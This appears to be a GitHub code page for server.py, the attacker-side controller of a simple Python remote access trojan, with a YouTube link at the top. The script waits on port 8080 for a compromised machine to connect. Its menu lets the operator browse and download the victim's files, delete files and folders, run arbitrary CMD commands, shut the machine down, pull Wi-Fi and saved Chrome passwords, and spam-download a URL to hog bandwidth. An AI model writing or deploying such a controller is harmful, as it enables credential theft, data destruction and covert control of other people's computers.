-
Notifications
You must be signed in to change notification settings - Fork 14
/
server.py
132 lines (112 loc) · 3.77 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
# https://www.youtube.com/watch?v=-goH6bhyxmA&feature=youtube_video_deck
import socket
s = socket.socket()
host = socket.gethostname()
port = 8080
s.bind((host, port))
print("\nServer is currently running @", host)
print("Waiting for incoming connections")
s.listen(1)
conn, addr = s.accept()
print(addr, "Has connected\n")
while True:
print(
"1: View cwd\n"
"2: View custom Dir\n"
"3: Download File \n"
"4: Delete File \n"
"5: Delete Dir \n"
"6: Create File \n"
"7: Return ipconfig (TODO...) \n"
"8: Execute custom CMD command \n"
"9: Shut it down -MC Hammer \n"
"10: Get wifiPassword list \n"
"11: Get Chrome passwords \n"
"12: Spam download URL \n"
)
print()
command = input(str("command >> "))
if command == "1":
# Print Current Working Directory (CWD)
conn.send(command.encode()) # send 1
files = conn.recv() # get response
files = files.decode() # decode response
print("Command output:", files)
elif command == "2":
# View custom directory
conn.send(command.encode())
userInput = input(str("Custom Dir: "))
conn.send(userInput.encode())
files = conn.recv().decode()
print("Custom dir: ", files)
elif command == "3":
# Download a file
conn.send(command.encode())
filePath = input(str(" please enter the files path: "))
conn.send(filePath.encode())
file = conn.recv()
fileName = input(str("please enter name of file with extension: "))
newFile = open(fileName, "wb")
newFile.write(file)
newFile.close()
print("Downloaded and saved")
elif command == "4":
# Delete file
conn.send(command.encode())
conn.send(input(str("Enter path and name of file to delete: ")).encode())
result = conn.recv().decode()
print(result)
elif command == "5":
# Delete dir
conn.send(command.encode())
conn.send(input(str("Enter path of Dir to delete: ")).encode())
result = conn.recv().decode()
print(result)
elif command == "6":
# Create file
conn.send(command.encode())
conn.send(input(str("Enter path and new of the file to create: ")).encode())
conn.send(input(str("Enter data to write: ")).encode())
result = conn.recv().decode()
print(result)
elif command == "7":
# Get ipconfig
conn.send(command.encode())
result = conn.recv().decode()
print(result)
elif command == "8":
# Run command in CMD (non-admin)
conn.send(command.encode())
print("suggested: taskkill /IM notepad.exe")
userInput = input(str("Command to run in CMD?: "))
conn.send(userInput.encode())
data = conn.recv()
data.decode()
print("responce: ", data)
elif command == "9":
# Shutdown target PC
conn.send(command.encode())
data = conn.recv()
data.decode()
print("responce: ", data)
elif command == "10":
# Get wifi password list
conn.send(command.encode())
response = conn.recv().decode()
print("wifi passwords: ", response)
elif command == "11":
# Get Chrome passwords list
conn.send(command.encode())
response = conn.recv().decode()
print("Passwords: ", response)
elif command == "12":
# Bandwidth Hog
print("This might take forever")
conn.send(command.encode())
userInput = input(str("which URL to spam download?: "))
conn.send(userInput.encode())
response = conn.recv().decode()
print("Status: ", response)
else:
print("Invalid Command")
print("")